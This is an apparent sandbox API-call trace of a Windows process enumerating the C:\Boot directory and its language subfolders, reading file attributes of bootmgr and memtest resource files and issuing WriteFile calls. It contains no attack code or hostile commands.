	[0077.637] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0xc0000316f8 | out: lpFindFileData=0xc0000316f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0077.637] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.637] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1
	[0077.637] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031728 | out: lpFindFileData=0xc000031728*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0077.637] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0077.637] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.637] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031868 | out: lpFileInformation=0xc000031868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0)) returned 1
	[0077.637] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0) returned 0
	[0077.638] GetFileAttributesExW (in: lpFileName="C:\\Boot\\bg-BG" (normalized: "c:\\boot\\bg-bg"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0077.643] CreateFileW (lpFileName="C:\\Boot\\bg-BG" (normalized: "c:\\boot\\bg-bg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0077.643] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0077.643] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.643] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0077.643] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0077.643] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0077.643] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0077.644] GetFileAttributesExW (in: lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60)) returned 1
	[0077.644] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.644] GetFileAttributesExW (in: lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0)) returned 1
	[0077.688] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0077.688] GetFileAttributesExW (in: lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0)) returned 1
	[0077.813] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0077.814] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ" (normalized: "c:\\boot\\cs-cz"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0077.814] CreateFileW (lpFileName="C:\\Boot\\cs-CZ" (normalized: "c:\\boot\\cs-cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0077.814] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39df80
	[0077.815] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.815] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0077.815] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0077.815] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0077.815] FindClose (in: hFindFile=0x1619f39df80 | out: hFindFile=0x1619f39df80) returned 1
	[0077.815] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0077.815] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58)) returned 1
	[0077.815] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.815] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1
	[0077.816] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.816] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK" (normalized: "c:\\boot\\da-dk"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0077.853] CreateFileW (lpFileName="C:\\Boot\\da-DK" (normalized: "c:\\boot\\da-dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0077.853] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0077.853] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.853] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0077.853] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0077.853] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0077.853] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0077.854] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0077.854] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760)) returned 1
	[0077.854] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.854] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1
	[0077.854] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.854] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE" (normalized: "c:\\boot\\de-de"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0077.855] CreateFileW (lpFileName="C:\\Boot\\de-DE" (normalized: "c:\\boot\\de-de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0077.855] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39df80
	[0077.855] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.855] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0077.855] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0077.855] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0077.855] FindClose (in: hFindFile=0x1619f39df80 | out: hFindFile=0x1619f39df80) returned 1
	[0077.855] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0077.855] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560)) returned 1
	[0077.940] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0077.940] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0)) returned 1
	[0077.941] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
